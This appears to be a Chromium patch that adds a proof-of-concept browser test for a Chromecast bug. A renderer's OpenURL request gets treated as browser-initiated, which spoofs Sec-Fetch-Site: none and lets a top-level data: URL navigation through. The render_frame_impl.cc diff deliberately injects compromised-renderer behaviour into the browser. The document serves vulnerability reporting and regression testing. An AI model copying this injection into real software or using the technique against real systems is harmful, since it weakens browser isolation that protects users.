diff --git a/chromecast/browser/BUILD.gn b/chromecast/browser/BUILD.gn index 33a84225ca9a1..2edc1591913b7 100644 --- a/chromecast/browser/BUILD.gn +++ b/chromecast/browser/BUILD.gn @@ -525,6 +525,7 @@ cast_source_set("browsertests") { "renderer_prelauncher_test.cc", "test/cast_features_browsertest.cc", "test/cast_navigation_browsertest.cc", + "test/cast_openurl_laundering_browsertest.cc", ] defines = [ "HAS_OUT_OF_PROC_TEST_RUNNER" ] diff --git a/components/crash/content/browser/crash_handler_host_linux.cc b/components/crash/content/browser/crash_handler_host_linux.cc index 21bff545c754f..5c32b7c5419b5 100644 --- a/components/crash/content/browser/crash_handler_host_linux.cc +++ b/components/crash/content/browser/crash_handler_host_linux.cc @@ -2,6 +2,15 @@ // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. +#ifdef UNSAFE_BUFFERS_BUILD +// POC build fix: ADDRESS_SANITIZER-gated code below uses raw memcpy/indexing, +// which trips -Wunsafe-buffer-usage in the is_castos + is_asan combo. This file +// is only pulled into cast builds and is unrelated to the vulnerability under +// test. +#pragma allow_unsafe_buffers +#pragma allow_unsafe_libc_calls +#endif + #include "components/crash/content/browser/crash_handler_host_linux.h" #include @@ -383,8 +392,10 @@ void CrashHandlerHostLinux::FindCrashingThreadAndDump( // CrashDumpTask(). info->crash_keys = crash_keys.release(); #if defined(ADDRESS_SANITIZER) + // POC build fix: HeapArray::release() was renamed to leak() and now + // returns a span. This code path only compiles with is_castos + is_asan. asan_report[kMaxAsanReportSize] = '\0'; - info->asan_report_str = asan_report.release(); + info->asan_report_str = std::move(asan_report).leak().data(); info->asan_report_length = strlen(info->asan_report_str); #endif diff --git a/components/crash/core/app/breakpad_linux.cc b/components/crash/core/app/breakpad_linux.cc index adc0fb959ac1a..78cc1f5e8b4af 100644 --- a/components/crash/core/app/breakpad_linux.cc +++ b/components/crash/core/app/breakpad_linux.cc @@ -5,6 +5,15 @@ // For linux_syscall_support.h. This makes it safe to call embedded system // calls when in seccomp mode. +#ifdef UNSAFE_BUFFERS_BUILD +// POC build fix: the ADDRESS_SANITIZER block in CrashDone() uses raw memcpy +// against an untracked buffer, which trips -Wunsafe-buffer-usage in the +// is_castos + is_asan combo. This file is only pulled into cast builds and is +// unrelated to the vulnerability under test. +#pragma allow_unsafe_buffers +#pragma allow_unsafe_libc_calls +#endif + #include "components/crash/core/app/breakpad_linux.h" #include diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc index 017007ee611e3..21ceb6dfdc1dc 100644 --- a/content/renderer/render_frame_impl.cc +++ b/content/renderer/render_frame_impl.cc @@ -5456,6 +5456,54 @@ void RenderFrameImpl::BeginNavigation( url.possibly_invalid_spec(), "navigation_type", static_cast(info->navigation_type)); + // ==== POC INJECTION: simulate a compromised renderer ==== + // A real compromised renderer can send blink::mojom::LocalFrameHost::OpenURL + // with arbitrary parameters at any time. To simulate that without a heap + // primitive, we divert any navigation whose URL contains the marker + // "poc-openurl" through the OpenURL IPC instead of BeginNavigation. This + // exercises the browser-side WebContentsDelegate::OpenURLFromTab path with + // disposition=CURRENT_TAB, which is exactly what an attacker-controlled + // renderer would do. + // + // Variant: if the marker is "poc-openurl-data", the IPC carries a top-level + // data: URL instead. Blink's own renderer-side data: block (in + // FrameLoader::StartNavigation) is irrelevant under the + // compromised-renderer threat model — an attacker simply skips it and + // sends the IPC directly, which is what this models. + if (url.possibly_invalid_spec().find("poc-openurl") != std::string::npos) { + auto params = blink::mojom::OpenURLParams::New(); + if (url.possibly_invalid_spec().find("poc-openurl-data") != + std::string::npos) { + params->url = + GURL("data:text/html,poc-openurl-data</" + "title><body>data: committed in top frame</body>"); + } else { + params->url = url; + } + params->initiator_origin = info->url_request.RequestorOrigin(); + params->referrer = blink::mojom::Referrer::New( + blink::WebStringToGURL(info->url_request.ReferrerString()), + info->url_request.GetReferrerPolicy()); + params->disposition = WindowOpenDisposition::CURRENT_TAB; + params->triggering_event_info = + blink::mojom::TriggeringEventInfo::kNotFromEvent; + params->should_replace_current_entry = false; + params->user_gesture = false; + params->is_unfenced_top_navigation = false; + params->initiator_frame_token = frame_->GetLocalFrameToken(); + params->source_location = network::mojom::SourceLocation::New(); + params->extra_headers = ""; + params->href_translate = ""; + params->has_rel_opener = false; + LOG(ERROR) << "[POC] Compromised-renderer simulation: sending " + "LocalFrameHost::OpenURL(" + << params->url.spec() << ", disposition=CURRENT_TAB)"; + GetFrameHost()->OpenURL(std::move(params)); + return; + } + // ==== END POC INJECTION ==== + + // When an MHTML Archive is present, it should be used to serve iframe // content instead of doing a network request. This should never be true for // the main frame. diff --git a/chromecast/browser/test/cast_openurl_laundering_browsertest.cc b/chromecast/browser/test/cast_openurl_laundering_browsertest.cc new file mode 100644 index 0000000000000..0ba242416cd8f --- /dev/null +++ b/chromecast/browser/test/cast_openurl_laundering_browsertest.cc @@ -0,0 +1,252 @@ +// Copyright 2025 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. +// +// POC browser test for: CastWebViewDefault::OpenURLFromTab launders a +// renderer-initiated LocalFrameHost::OpenURL into a browser-initiated +// NavigationController::LoadURL, dropping initiator provenance. +// +// This test depends on a small renderer-side patch (see +// content/renderer/render_frame_impl.cc, "POC INJECTION") that simulates a +// compromised renderer by routing any navigation whose URL contains +// "poc-openurl" through the LocalFrameHost::OpenURL IPC with +// disposition=CURRENT_TAB. A real compromised renderer can send that IPC +// directly with arbitrary parameters; the patch is purely a stand-in for that +// capability. +// +// What the test demonstrates: +// 1. The laundered navigation reports IsRendererInitiated() == false and +// GetInitiatorOrigin() == nullopt in the browser process, even though it +// originated from a renderer IPC. +// 2. The HTTP request that hits the server carries Sec-Fetch-Site: none, +// i.e. it is presented to the server as a user/omnibox navigation rather +// than a cross-site renderer-initiated one. +// 3. A renderer-driven top-level navigation to a data: URL commits in the +// Cast main frame (BlockedSchemeNavigationThrottle is gated on +// IsRendererInitiated()). + +#include <optional> +#include <string> + +#include "base/functional/bind.h" +#include "base/run_loop.h" +#include "base/synchronization/lock.h" +#include "chromecast/browser/test/cast_browser_test.h" +#include "content/public/browser/navigation_handle.h" +#include "content/public/browser/web_contents.h" +#include "content/public/browser/web_contents_observer.h" +#include "content/public/test/browser_test.h" +#include "content/public/test/browser_test_utils.h" +#include "content/public/test/test_navigation_observer.h" +#include "net/dns/mock_host_resolver.h" +#include "net/test/embedded_test_server/embedded_test_server.h" +#include "net/test/embedded_test_server/http_request.h" +#include "net/test/embedded_test_server/http_response.h" +#include "testing/gtest/include/gtest/gtest.h" +#include "url/gurl.h" +#include "url/origin.h" + +namespace chromecast { +namespace shell { + +namespace { + +// Captures the request headers sent to /victim on the embedded test server. +class VictimRequestCapturer { + public: + void OnRequest(const net::test_server::HttpRequest& request) { + if (request.relative_url.find("/victim") == std::string::npos) { + return; + } + base::AutoLock lock(lock_); + captured_ = true; + auto it = request.headers.find("Sec-Fetch-Site"); + sec_fetch_site_ = (it != request.headers.end()) ? it->second : "<absent>"; + auto it2 = request.headers.find("Origin"); + origin_header_ = (it2 != request.headers.end()) ? it2->second : "<absent>"; + } + + bool captured() { + base::AutoLock lock(lock_); + return captured_; + } + std::string sec_fetch_site() { + base::AutoLock lock(lock_); + return sec_fetch_site_; + } + std::string origin_header() { + base::AutoLock lock(lock_); + return origin_header_; + } + + private: + base::Lock lock_; + bool captured_ = false; + std::string sec_fetch_site_; + std::string origin_header_; +}; + +// Observes the next navigation to a URL containing "poc-openurl" and records +// its provenance flags as seen by the browser process. +class LaunderingObserver : public content::WebContentsObserver { + public: + explicit LaunderingObserver(content::WebContents* wc) + : content::WebContentsObserver(wc) {} + + void DidStartNavigation(content::NavigationHandle* handle) override { + if (handle->GetURL().spec().find("poc-openurl") == std::string::npos) { + return; + } + seen_ = true; + is_renderer_initiated_ = handle->IsRendererInitiated(); + initiator_origin_ = handle->GetInitiatorOrigin(); + if (quit_) { + std::move(quit_).Run(); + } + } + + void Wait() { + if (seen_) { + return; + } + base::RunLoop loop; + quit_ = loop.QuitClosure(); + loop.Run(); + } + + bool seen() const { return seen_; } + bool is_renderer_initiated() const { return is_renderer_initiated_; } + const std::optional<url::Origin>& initiator_origin() const { + return initiator_origin_; + } + + private: + bool seen_ = false; + bool is_renderer_initiated_ = false; + std::optional<url::Origin> initiator_origin_; + base::OnceClosure quit_; +}; + +} // namespace + +class CastOpenURLLaunderingTest : public CastBrowserTest { + public: + void SetUpOnMainThread() override { + host_resolver()->AddRule("*", "127.0.0.1"); + embedded_test_server()->RegisterRequestMonitor(base::BindRepeating( + &VictimRequestCapturer::OnRequest, base::Unretained(&capturer_))); + embedded_test_server()->RegisterDefaultHandler(base::BindRepeating( + &CastOpenURLLaunderingTest::DefaultHandler, base::Unretained(this))); + ASSERT_TRUE(embedded_test_server()->Start()); + } + + protected: + std::unique_ptr<net::test_server::HttpResponse> DefaultHandler( + const net::test_server::HttpRequest& request) { + auto resp = std::make_unique<net::test_server::BasicHttpResponse>(); + resp->set_code(net::HTTP_OK); + resp->set_content_type("text/html"); + resp->set_content("<!doctype html><title>okok"); + return resp; + } + + VictimRequestCapturer capturer_; +}; + +// Demonstrates Sec-Fetch-Site spoofing + provenance laundering. +IN_PROC_BROWSER_TEST_F(CastOpenURLLaunderingTest, SecFetchSiteSpoof) { + // Step 1: load an "attacker" page in the CastWebViewDefault. + GURL attacker_url = + embedded_test_server()->GetURL("attacker.test", "/attacker.html"); + content::WebContents* wc = NavigateToURL(attacker_url); + ASSERT_TRUE(wc); + ASSERT_TRUE(content::WaitForLoadStop(wc)); + url::Origin attacker_origin = + wc->GetPrimaryMainFrame()->GetLastCommittedOrigin(); + LOG(ERROR) << "[POC] attacker origin: " << attacker_origin.Serialize(); + + // Step 2: from the (simulated-compromised) renderer, navigate to a + // cross-site victim URL via LocalFrameHost::OpenURL. The "poc-openurl" + // marker triggers the renderer-side POC injection. + // The victim is served from 127.0.0.1 directly (no host mapping) so it is a + // potentially-trustworthy URL and Fetch Metadata headers are emitted; it is + // still cross-site relative to attacker.test. + GURL victim_url = embedded_test_server()->GetURL("/victim?poc-openurl"); + + LaunderingObserver observer(wc); + content::TestNavigationObserver nav_observer(wc, 1); + ASSERT_TRUE( + content::ExecJs(wc, content::JsReplace("location.href = $1;", + victim_url.spec()))); + observer.Wait(); + nav_observer.Wait(); + + // Step 3: the navigation went through CastWebViewDefault::OpenURLFromTab, + // which called the 4-arg NavigationController::LoadURL and dropped all + // renderer provenance. + ASSERT_TRUE(observer.seen()); + LOG(ERROR) << "[POC] NavigationHandle::IsRendererInitiated() = " + << (observer.is_renderer_initiated() ? "true" : "false"); + LOG(ERROR) << "[POC] NavigationHandle::GetInitiatorOrigin() = " + << (observer.initiator_origin().has_value() + ? observer.initiator_origin()->Serialize() + : ""); + + // BUG: the navigation came from a renderer IPC but is now reported as + // browser-initiated. + EXPECT_FALSE(observer.is_renderer_initiated()) + << "If this fails, the laundering bug has been fixed."; + EXPECT_FALSE(observer.initiator_origin().has_value()) + << "If this fails, the laundering bug has been fixed."; + + // Step 4: confirm the wire-level consequence — the server saw + // Sec-Fetch-Site: none instead of cross-site. + ASSERT_TRUE(capturer_.captured()); + LOG(ERROR) << "[POC] Server received Sec-Fetch-Site: " + << capturer_.sec_fetch_site(); + LOG(ERROR) << "[POC] Server received Origin: " << capturer_.origin_header(); + EXPECT_EQ("none", capturer_.sec_fetch_site()) + << "If this is 'cross-site', the laundering bug has been fixed."; +} + +// Demonstrates BlockedSchemeNavigationThrottle bypass: a renderer-driven +// top-level data: navigation commits because the laundered navigation reports +// IsRendererInitiated()==false and the throttle is therefore not registered. +IN_PROC_BROWSER_TEST_F(CastOpenURLLaunderingTest, TopLevelDataUrlBypass) { + GURL attacker_url = + embedded_test_server()->GetURL("attacker.test", "/attacker.html"); + content::WebContents* wc = NavigateToURL(attacker_url); + ASSERT_TRUE(wc); + ASSERT_TRUE(content::WaitForLoadStop(wc)); + + // Renderer drives a top-level data: navigation via LocalFrameHost::OpenURL. + // We trigger the renderer-side injection by navigating to an http URL + // containing the "poc-openurl-data" marker; the injection then sends the + // OpenURL IPC with a data: URL payload (modelling a compromised renderer + // that skips Blink's own renderer-side data: block). + GURL trigger_url = + embedded_test_server()->GetURL("attacker.test", "/poc-openurl-data"); + + LaunderingObserver observer(wc); + content::TestNavigationObserver nav_observer(wc, 1); + ASSERT_TRUE(content::ExecJs( + wc, content::JsReplace("location.href = $1;", trigger_url.spec()))); + observer.Wait(); + nav_observer.Wait(); + + ASSERT_TRUE(observer.seen()); + LOG(ERROR) << "[POC] data: nav IsRendererInitiated() = " + << (observer.is_renderer_initiated() ? "true" : "false"); + LOG(ERROR) << "[POC] data: nav last committed URL = " + << wc->GetLastCommittedURL().spec(); + + // BUG: laundered navigation is treated as browser-initiated, so + // BlockedSchemeNavigationThrottle was not registered and the data: URL + // committed in the top frame. + EXPECT_FALSE(observer.is_renderer_initiated()); + EXPECT_TRUE(wc->GetLastCommittedURL().SchemeIs("data")) + << "If the data: URL did not commit, the laundering bug has been fixed."; +} + +} // namespace shell +} // namespace chromecast